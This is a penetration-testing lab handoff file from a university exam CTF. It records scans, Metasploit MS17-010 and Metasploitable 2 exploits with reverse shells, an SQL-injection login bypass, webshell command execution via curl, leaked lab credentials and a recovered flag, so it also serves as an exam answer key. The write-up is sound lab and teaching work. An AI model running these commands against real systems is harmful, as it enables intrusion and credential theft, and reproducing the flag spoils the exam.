Source: Juni_2026_Exams/Penetration_Testing/solutions/live-lab-evidence-handoff-and-target-playbooks.md

Live Lab Evidence, Handoff, and Target Playbooks

Purpose

This file is the handoff record for the live university CTF/lab work performed so far. It records what was tested, what worked, what failed, the exact terminal evidence that matters, and what the next worker should do when more recon output is available.

All activity described here is for the isolated university exam/lab network.

Lab Context

Attacker/Kali:

IP: 192.168.2.32/24
Interface: eth0
Default gateway: 192.168.2.1

Initial fast discovery found many live hosts:

Nmap done: 256 IP addresses (72 hosts up) scanned in 5.17 seconds

Kali Local Exam-Start Script Check

The Kali-side search for a script that starts the CTF/exam environment did not show an obvious launcher. The broad search:

find /home /opt /var/www /srv /usr/local -type f 2>/dev/null \
  | grep -Ei 'ctf|exam|start|flag|challenge|score|reset|lab|docker|compose|vuln|target'

mostly returned existing recon artifacts under /home/ihu/recon/, extracted web loot from .198, and one forensic-looking sample:

/home/ihu/2025/MFT/MFT_ADS_Example
/home/ihu/recon/targets-197-198/...
/home/ihu/recon/fast-recon-20260616-194735/...
/home/ihu/recon/exam-recon-20260616-193234/...

Interpretation: there is no confirmed start_ctf.sh, run_exam.sh, docker-compose.yml, or similar launcher in that pasted output. The result is noisy because the search terms match the names of our recon folders and output files.

Cleaner follow-up commands to run from Kali:

find /home /opt /srv -maxdepth 5 -type f \( \
  -name "*.sh" -o -name "*.py" -o -name "docker-compose.yml" -o \
  -name "docker-compose.yaml" -o -name "compose.yml" -o -name "Dockerfile" \
\) 2>/dev/null | sort

find /home /opt /srv -maxdepth 5 -type f 2>/dev/null \
  | grep -Ei '/(start|run|reset|launch|ctf|exam|challenge|score)[^/]*\.(sh|py|rb|pl)$'

docker ps -a
docker compose ls
systemctl list-timers --all | grep -Ei 'ctf|exam|lab|challenge|docker'
grep -RniE 'ctf|exam|challenge|docker compose|docker-compose|reset|start' \
  ~/.bash_history ~/.zsh_history 2>/dev/null

If a candidate file appears, inspect it before executing:

file ./candidate
head -80 ./candidate

A second full-filesystem script search was also checked:

find / -type f \( -name "*.sh" -o -name "*.py" -o -name "*.rb" -o -name "*.pl" \) 2>/dev/null \
  | grep -Ei 'ctf|exam|start|reset|challenge|flag|lab|target'

This produced only normal Kali package/tool files, for example:

/usr/share/sqlmap/lib/core/target.py
/usr/share/whatweb/plugins/tcexam.rb
/usr/share/rubygems-integration/all/gems/wpscan-.../target.rb
/usr/share/doc/.../examples/...
/usr/share/doc/python3-impacket/examples/psexec.py
/usr/share/doc/openvpn/examples/sample-config-files/openvpn-startup.sh

Interpretation: these are installed tool modules or documentation examples, not university exam launchers. The search did not reveal a local script that starts the CTF environment.

The most important hosts discovered so far:

Host	Status	Current judgement
`192.168.2.1`	RouterOS/MikroTik	Infrastructure; skip unless explicitly in scope
`192.168.2.102`	Tomcat 9.0.31 on 8080	Medium priority; enumerate web/Tomcat
`192.168.2.163`	Windows XP SMB	Successfully exploited via MS17-010 to SYSTEM
`192.168.2.195`	SSH only	Low priority until credentials are found
`192.168.2.197`	Metasploitable 2	Multiple successful shells/root paths
`192.168.2.198`	Ubuntu web challenge	SQLi + webshell RCE as `www-data`

Target 192.168.2.1 - RouterOS/MikroTik

Evidence

PORT     STATE SERVICE VERSION
53/tcp   open  domain  (generic dns response: NOTIMP)
80/tcp   open  http
1194/tcp open  openvpn OpenVPN
1723/tcp open  pptp    MikroTik (Firmware: 1)
8291/tcp open  unknown
Service Info: Host: AUTH_RouterNew
http-title: RouterOS

Interpretation

This is almost certainly infrastructure:

MikroTik RouterOS web login on 80/tcp.
Winbox-style management on 8291/tcp.
VPN services on 1194/tcp and 1723/tcp.
Same vendor appeared for multiple addresses during discovery.

Playbook

Do not spend time here during the exam unless the task explicitly names router infrastructure. If required:

nmap -Pn -sC -sV -p 53,80,1194,1723,8291 192.168.2.1
curl -i http://192.168.2.1/
searchsploit mikrotik routeros

Record only non-intrusive evidence unless the scope says otherwise.

Target 192.168.2.102 - Apache Tomcat

Evidence

Nmap:

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
8080/tcp open  http    Apache Tomcat
http-title: Apache Tomcat

Root page:

HTTP/1.1 200
<title>Apache Tomcat</title>
<h1>It works !</h1>
Apache Tomcat/9.0.31 (Ubuntu)

Checked paths:

/manager/html -> HTTP 404
/docs/        -> HTTP 404
/examples/    -> HTTP 404

Searchsploit showed many generic Tomcat entries, but the directly interesting historical lead is Ghostcat, which requires AJP (8009/tcp) exposure.

Interpretation

This is a medium-priority target:

Tomcat is present, but manager/docs/examples are not exposed.
A Tomcat Manager upload path is unlikely because /manager/html is 404,

not 401.

SSH is probably useful only after credentials are found elsewhere.

Playbook

Check whether AJP is exposed:

nmap -Pn -p 8009 -sV 192.168.2.102

Continue low-cost web enumeration:

curl -i http://192.168.2.102:8080/
curl -i http://192.168.2.102:8080/host-manager/html
curl -i http://192.168.2.102:8080/manager/status
curl -i http://192.168.2.102:8080/manager/text/list
curl -i http://192.168.2.102:8080/robots.txt

gobuster dir -u http://192.168.2.102:8080/ \
  -w /usr/share/wordlists/dirb/common.txt \
  -x jsp,txt,war,zip,bak,old,conf \
  -t 30

Search exact version:

searchsploit "Apache Tomcat 9.0.31"
searchsploit ghostcat

Expected next move: only exploit if a deploy interface, vulnerable app, exposed AJP, or credentials are found.

Target 192.168.2.163 - Windows XP MS17-010

Detailed walkthrough:

solutions/ms17-010-windows-xp-successful-exploitation.md

Evidence

Nmap:

135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Windows XP microsoft-ds
3389/tcp open  ms-wbt-server Microsoft Terminal Services

SMB details:

OS: Windows XP (Windows 2000 LAN Manager)
Computer name: luciano-4a69e49
NetBIOS computer name: LUCIANO-4A69E49
Workgroup: WORKGROUP
SMB2 negotiation failed
message_signing: disabled

MS17-010 scanner:

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.2.163
run

[+] 192.168.2.163:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
[*] Auxiliary module execution completed

Successful exploit:

use exploit/windows/smb/ms17_010_psexec
set RHOSTS 192.168.2.163
set RPORT 445
set LHOST 192.168.2.32
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
check
run

[+] 192.168.2.163:445 - The target is vulnerable.
[+] 192.168.2.163:445 - Overwrite complete... SYSTEM session obtained!
[*] Meterpreter session 1 opened (192.168.2.32:4444 -> 192.168.2.163:2312)

Post-exploitation proof:

meterpreter > sysinfo
Computer        : LUCIANO-4A69E49
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
Domain          : WORKGROUP
Meterpreter     : x86/windows

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > pwd
C:\WINDOWS\system32

meterpreter > ipconfig
IPv4 Address : 192.168.2.163
IPv4 Netmask : 255.255.255.0

Unsuccessful or Non-Flag Findings

Meterpreter flag search returned Windows system files, not challenge flags:

meterpreter > search -f *flag*
c:\WINDOWS\pchealth\helpctr\binaries\notiflag.exe
c:\WINDOWS\system32\dllcache\notiflag.exe
c:\WINDOWS\system32\oobe\images\wpaflag.jpg

Interpretation:

These are not CTF flags.
Do not claim a file as a flag only because the filename contains flag.

Next Playbook

If more time is available:

meterpreter > search -f *.txt
meterpreter > shell
dir "C:\Documents and Settings\*\Desktop" /s
dir C:\ /s /b | findstr /i flag
dir C:\ /s /b | findstr /i proof

The compromise is already proven because the session is SYSTEM.

Target 192.168.2.195 - SSH Only

Evidence

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13

Interpretation

Low priority until credentials are found. SSH-only boxes usually require a password/key from another target, a web leak, or a pivot clue.

Playbook

Do not brute force unless exam rules explicitly allow it. Use discovered credentials from other targets:

ssh nikos@192.168.2.195
ssh user@192.168.2.195
ssh admin@192.168.2.195

If the final recon report shows more ports, revisit this section.

Target 192.168.2.197 - Metasploitable 2

Detailed walkthrough:

solutions/metasploitable2-multiple-exploitation-paths.md

Evidence: Nmap

21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian
1524/tcp  open  bindshell   Metasploitable root shell
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd

Successful Path 1: Root Bind Shell

nc -nv 192.168.2.197 1524
(UNKNOWN) [192.168.2.197] 1524 (ingreslock) open
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/# whoami
root
root@metasploitable:/# hostname
metasploitable
root@metasploitable:/# pwd
/

This is the cleanest proof: direct root shell.

Successful Path 2: UnrealIRCd

use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.2.197
set RPORT 6667
set payload cmd/unix/reverse
set LHOST 192.168.2.32
run

[*] Command shell session 1 opened (192.168.2.32:4444 -> 192.168.2.197:46220)

The shell landed in the UnrealIRCd directory. ls showed:

Donation
LICENSE
aliases
backpipe
badwords.channel.conf
badwords.message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf
doc
help.conf
ircd.log
ircd.pid
ircd.tune
modules
networks
pipe1
spamfilter.conf
tmp
unreal
unrealircd.conf

Successful Path 3: Samba Usermap Script

use exploit/multi/samba/usermap_script
set RHOSTS 192.168.2.197
set RPORT 445
set payload cmd/unix/reverse_netcat
set LHOST 192.168.2.32
run

[*] Command shell session 2 opened (192.168.2.32:4444 -> 192.168.2.197:52183)

Shell ls output showed possible challenge artifacts:

CYPHER.txt.save
aHIHvOKzBL
bin
boot
cdrom
cypher.txt
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nJDIeDYrgz
netstat.txt
nohup.out
opt
proc
root
sbin
srv
sys
test.pub
tmp
usr
var
vmlinuz

Successful Path 4: distccd

use exploit/unix/misc/distcc_exec
set RHOSTS 192.168.2.197
set RPORT 3632
set payload cmd/unix/reverse
set LHOST 192.168.2.32
run

[*] Command shell session 3 opened (192.168.2.32:4444 -> 192.168.2.197:33204)

Shell ls output:

5172.jsvc_up
cachehouyn3jar
cachehouyn5jar
gconfd-msfadmin
orbit-msfadmin

Successful Enumeration: NFS Export

showmount -e 192.168.2.197
Export list for 192.168.2.197:
/ *

This means the filesystem root is exported broadly. Use read-only checks first.

Unsuccessful Path: vsftpd 2.3.4 Backdoor

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.2.197
set RPORT 21
run

[*] 192.168.2.197:21 - The port used by the backdoor bind listener is already open
[-] 192.168.2.197:21 - The service on port 6200 does not appear to be a shell
[*] Exploit completed, but no session was created.

Interpretation:

The vulnerable version is present, but the Metasploit backdoor path did not

produce a usable session in this lab state.

Move on to the confirmed root bind shell, UnrealIRCd, Samba, and distccd paths.

Next Playbook

Use the root bind shell for flag/evidence search:

find /home /root /var/www -type f 2>/dev/null | grep -Ei 'flag|proof|user|pass|key|cypher'
cat /cypher.txt
cat /CYPHER.txt.save
cat /test.pub
showmount -e 192.168.2.197

Operator Note

After connecting to the root bind shell, commands run at the root@metasploitable:/# prompt execute on the target, not on Kali. In one live run, Kali-side commands such as smbmap, smbclient, curl, and gobuster were pasted into the Metasploitable root shell and failed:

root@metasploitable:/# smbmap -H 192.168.2.29 -u ihu -p ''
bash: smbmap: command not found

root@metasploitable:/# smbclient //192.168.2.29/Exercises -U ihu
bash: smbclient: command not found

root@metasploitable:/# gobuster ...
bash: gobuster: command not found

Before running Kali tools, type exit to return to the Kali terminal.

Target 192.168.2.198 - Ubuntu Web SQLi/Webshell

Detailed walkthrough:

solutions/ubuntu-web-sqli-webshell-exploitation.md

Evidence: Nmap

22/tcp   open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
80/tcp   open  http        Apache httpd 2.4.29 ((Ubuntu))
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu
867/tcp  open  ypbind
3306/tcp open  mysql       MySQL 5.7.42-0ubuntu0.18.04.1

Unsuccessful/Low-Value CVE Checks

searchsploit "Apache 2.4.29 Ubuntu" -> No Results
searchsploit "Samba 4.7.6"          -> No Results
searchsploit "MySQL 5.7.42"         -> No Results
searchsploit "ypbind"               -> No Results
searchsploit "OpenSSH 7.6p1"        -> Username enumeration only

Interpretation: direct public RCE was not the path. Web enumeration was the right next move.

SMB Enumeration

smbclient -L //192.168.2.198/ -N

Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
share           Disk
IPC$            IPC       IPC Service (ubuntuserver server (Samba, Ubuntu))

enum4linux-ng found users:

username: nikos
username: user

Share access anonymously failed:

smbmap -H 192.168.2.198 -u '' -p ''
share  NO ACCESS

RPC/NFS Checks

rpcinfo -p 192.168.2.198
100007  1,2  tcp  867  ypbind

showmount -e 192.168.2.198
clnt_create: RPC: Program not registered

Interpretation: ypbind is present, but NFS is not exported.

Web Findings

Gobuster:

/backup               (Status: 301) [--> /backup/]
/config.php           (Status: 200) [Size: 0]
/download             (Status: 301) [--> /download/]
/domains              (Status: 200) [Size: 2220722]
/index.old            (Status: 200) [Size: 10918]
/login.php            (Status: 200) [Size: 1267]
/logout.php           (Status: 302) [--> login.php]
/shell.php            (Status: 200) [Size: 0]
/session.php          (Status: 302) [--> login.php]
/uploads              (Status: 301) [--> /uploads/]
/welcome.php          (Status: 302) [--> login.php]

script1.js clue:

//This javascript code looks interesting
topic5: First approach to Penetration Testing using Netcat

Directory listings:

/backup/backup.gz
/download/xampp.zip
/uploads/LinEnum.sh
/uploads/a.elf
/uploads/a.sh
/uploads/id_rsa.pub
/uploads/linprivescchecker.py
/uploads/shell.php
/uploads/upc.sh

Successful Path 1: Backup Leak

wget http://192.168.2.198/backup/backup.gz
file backup.gz
backup.gz: gzip compressed data
gzip -dc backup.gz > backup.out
file backup.out
backup.out: POSIX tar archive (GNU)

Important source/credential output:

./login.php
$myusername = $_POST['username'];
$mypassword = $_POST['password'];
$sql = "SELECT * FROM myuser WHERE username = '$myusername' and password = '$mypassword'";
$_SESSION['login_user'] = $myusername;

define('DB_SERVER', 'localhost:3306');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'password');
define('DB_DATABASE', 'myuser');

nikos
wDb#?

curl -i -c sqli.txt -b sqli.txt -X POST http://192.168.2.198/login.php \
  --data-urlencode "username=' OR '1'='1' -- -" \
  --data-urlencode "password=x"

HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=q0ijppbg6q1u4iuclooao0vfh2; path=/
location: welcome.php

Authenticated page:

curl -i -b sqli.txt http://192.168.2.198/welcome.php

HTTP/1.1 200 OK
<h1>Welcome </h1>
<h2><a href = "logout.php">Sign Out</a></h2>

Note: the welcome name is blank because the injected username is not a real username, but the session exists and access control is bypassed.

Successful Path 3: Webshell RCE

Parameter testing:

for p in cmd command c exec shell q; do
  echo "### /uploads/shell.php?$p=id"
  curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?$p=id"
  echo
done

### /uploads/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Proof commands:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=whoami"
www-data

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=hostname"
ubuntuserver

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=pwd"
/var/www/html/uploads

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=uname%20-a"
Linux ubuntuserver 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Successful Path 4: Web-Writable Directory Proof

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=echo%20test%20%3E%20/var/www/html/backup/write-test.txt"
curl -s http://192.168.2.198/backup/write-test.txt
test

This proves www-data can write to a web-accessible directory.

Post-Exploitation Enumeration

Web root listing:

backup/
check_connection.html
config.php
domains
download/
exams/
index.html
index.html.save
index.old
lfi.php
login.php
logout.php
proxylist.csv
script1.js
session.php
shell.php
uploads/
welcome.php
xss/
xss-lab/
xss.html.old
xsslab/

Local users:

nikos:x:1000:1000:nikos:/home/nikos:/bin/bash
mysql:x:999:1001::/home/mysql:/bin/sh
user:x:1001:1002::/home/user:/bin/bash

Home directories:

drwxr-xr-x  7 nikos nikos 4096 Mar  2 22:51 nikos
drwxr-xr-x  7 user  user  4096 Jun 30  2021 user

Interesting SUID leads:

/usr/bin/pkexec
/usr/bin/sudo
/usr/lib/snapd/snap-confine
/bin/mount
/bin/su
/bin/umount

Additional home-directory enumeration from the webshell found:

/home/user/FLAG
/home/user/share/preflag1.txt
/home/user/share/shadow
/home/user/.mysql_history
/home/user/.bash_history
/home/nikos/a.txt
/home/nikos/initdb.sql
/home/nikos/.mysql_history
/home/nikos/.bash_history
/home/nikos/shadow.txt
/home/nikos/nginx-1.4.0/conf/nginx.conf

/home/user/FLAG was later read successfully through the webshell:

Congratulations.
Flag 9 is e3e863c42881169e2abed54d37f1ad94
Now it is time to dive a little bit digger into the network and find the last flag (Flag 10).
I wish you Good Luck and hope you are enjoying this challenge.

/home/user/share/preflag1.txt confirmed the intended path:

Congratulations.
You have already managed to enter into the sharing folder of the Samba User "user".
Unfortunately, FLAG 9, you are looking for is not here. You can find it in the parent folder.
As you can imagine, you must find a way to get access to the parrent folder.
If you recall your scanning results, you will notice that there are some services 
that can allow you get access to the machine.
In this folder you will also find part of the shadow file of the machine.
You can employ online or ofline tools to find that path to enter to the machine
Good Luck.

Interpretation:

.198 is confirmed as the Flag 9 challenge stage.
The intended route was likely: enumerate SMB, enter the Samba user share,

collect preflag1.txt and the partial shadow file, recover credentials, then access /home/user/FLAG.

Because the webshell could read /home/user/FLAG directly, Flag 9 was

recovered without completing the intended SSH/Samba credential path.

The flag explicitly says Flag 10 is deeper in the network, so next work

should prioritize other targets, especially .91, .254, .59, and any credential reuse discovered from .198.

Credential evidence recovered after the flag:

/home/user/share/shadow contained one md5crypt-style hash for user.
/home/nikos/shadow.txt contained shadow-style entries for root, nikos, and user.
The user account appeared with two different md5crypt-style hashes across the
partial and fuller shadow files.
The nikos account appeared with a sha512crypt-style hash.

The full hashes are intentionally not stored in this repo. Keep them in Kali if cracking is needed. Use John md5crypt/Hashcat -m 500 for $1$... hashes and John sha512crypt/Hashcat -m 1800 for $6$... hashes. Any recovered password should be tested against SMB and SSH on .198, then carefully reused against likely related hosts such as .91 and .195.

The target was also searched for a possible exam-start script:

/var/www/html/xsslab/Dockerfile
/var/www/html/xsslab/chall/1.php ... /var/www/html/xsslab/chall/20.php
/var/www/html/xsslab/chall/finish.php
/var/www/html/xsslab/.git/config
/var/www/html/exams/index.html

No confirmed script was found that starts the entire exam. xsslab is a hosted challenge application/source tree, not the lab launcher.

Local MySQL access through the webshell worked with the leaked credentials:

mysql -uadmin -ppassword -e "show databases;"

Database
information_schema
hospital
mysql
myuser
performance_schema
sys

mysql -uadmin -ppassword myuser -e "show tables;"

Tables_in_myuser
foo
myuser

The hospital database is a new lead.

Confirmed hospital database tables:

clinic
doctor
doctor_clinic
patient
patient_clinic
patient_therapy
speciality
therapy

LFI test result:

curl -s "http://192.168.2.198/lfi.php?file=/etc/passwd"
You have selected file /etc/passwd

curl -s "http://192.168.2.198/lfi.php?page=/etc/passwd"
You have selected file

curl -s "http://192.168.2.198/lfi.php?path=/etc/passwd"
You have selected file

Interpretation: file is the active parameter, but the page echoed the path instead of printing file contents. Not a confirmed file read yet.

Unsuccessful/Incomplete Attempts

Browser login with nikos / wDb#? failed or did not create a valid session in the observed test. The SQL injection login bypass worked.

Remote MySQL with the leaked DB credentials initially failed due to TLS certificate verification:

mysql -h 192.168.2.198 -u admin -ppassword myuser
ERROR 2026 (HY000): TLS/SSL error: Certificate verification failure: The certificate is NOT trusted.

Next worker should retry with:

mysql -h 192.168.2.198 -u admin -ppassword --skip-ssl myuser

or locally through the webshell:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20-e%20%22show%20databases%3B%22"

Next Playbook

Continue from the webshell:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=find%20/home%20-maxdepth%203%20-type%20f%20-ls%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=find%20/home%20-maxdepth%203%20-type%20f%202%3E/dev/null%20%7C%20grep%20-Ei%20%27flag%7Cproof%7Cpass%7Ckey%7Ctxt%7Csql%7Cconf%7Csh%27"
curl -s "http://192.168.2.198/lfi.php?file=/etc/passwd"
curl -s "http://192.168.2.198/lfi.php?page=/etc/passwd"
curl -s "http://192.168.2.198/lfi.php?path=/etc/passwd"

Read the newly discovered files:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/user/FLAG%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/user/share/preflag1.txt%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/user/share/shadow%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/nikos/shadow.txt%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/nikos/a.txt%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/nikos/initdb.sql%202%3E/dev/null"

Enumerate the new database lead:

curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20hospital%20-e%20%22show%20tables%3B%22%202%3E%261"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20myuser%20-e%20%22select%20*%20from%20myuser%3B%22%202%3E%261"

Try SSH only with credentials found from the target:

ssh nikos@192.168.2.198
ssh user@192.168.2.198

How To Add The Recon Script Report Later

When the fast/full recon script finishes, add its report here under a new section named:

## Script Report Snapshot - <UTC date/time>

Include:

output directory name
summaries/fast-recon-vuln-report.md
notes/interesting-hosts.txt
all Searchsploit leads
any new targets not covered in this file
any false positives or dead ends

Do not paste huge raw scans directly unless a specific line matters. Link or summarize the report, then copy only the evidence lines used for decisions.

Current Priority Order

Finish evidence/flag search on 192.168.2.197 using the root bind shell.
Treat 192.168.2.198 as Flag 9 solved; only return for credential reuse,

shadow/shadow.txt, MySQL, or pivot clues toward Flag 10.

Check 192.168.2.91, because it has the same Ubuntu web/Samba/MySQL profile

as .198 and may be a related challenge stage.

Check 192.168.2.254 web, Python HTTP, SMB, and RPC quickly.
Check 192.168.2.59 Go HTTP 4000 and unknown 5678.
Revisit 192.168.2.102 Tomcat only if AJP, manager, credentials, or a

vulnerable deployed app appears.

Keep 192.168.2.195 for later credential reuse.
Ignore router/infrastructure-looking hosts unless scope explicitly includes

them.

Exam Answer Pattern

For every successful target, write:

Target:
Finding:
Evidence:
Exploit or technique:
Result:
Privilege level:
Next step:

Example:

Target: 192.168.2.198
Finding: /backup/backup.gz exposed source code; login.php had SQL injection.
Evidence: SQL query concatenated username/password directly.
Technique: username=' OR '1'='1' -- - login bypass, then /uploads/shell.php?cmd=id.
Result: HTTP 200 authenticated welcome page and command execution.
Privilege: www-data.
Next step: enumerate /home, MySQL, lfi.php, and local privilege escalation.

Live Lab Evidence, Handoff, and Target Playbooks

Purpose

Lab Context

Kali Local Exam-Start Script Check

Target 192.168.2.1 - RouterOS/MikroTik

Evidence

Interpretation

Playbook

Target 192.168.2.102 - Apache Tomcat

Evidence

Interpretation

Playbook

Target 192.168.2.163 - Windows XP MS17-010

Evidence

Unsuccessful or Non-Flag Findings

Next Playbook

Target 192.168.2.195 - SSH Only

Evidence

Interpretation

Playbook

Target 192.168.2.197 - Metasploitable 2

Evidence: Nmap

Successful Path 1: Root Bind Shell

Successful Path 2: UnrealIRCd

Successful Path 3: Samba Usermap Script

Successful Path 4: distccd

Successful Enumeration: NFS Export

Unsuccessful Path: vsftpd 2.3.4 Backdoor

Next Playbook

Operator Note

Target 192.168.2.198 - Ubuntu Web SQLi/Webshell

Evidence: Nmap

Unsuccessful/Low-Value CVE Checks

SMB Enumeration

RPC/NFS Checks

Web Findings

Successful Path 1: Backup Leak

Successful Path 2: SQL Injection Login Bypass

Successful Path 3: Webshell RCE

Successful Path 4: Web-Writable Directory Proof

Post-Exploitation Enumeration

Unsuccessful/Incomplete Attempts

Next Playbook

How To Add The Recon Script Report Later

Current Priority Order

Exam Answer Pattern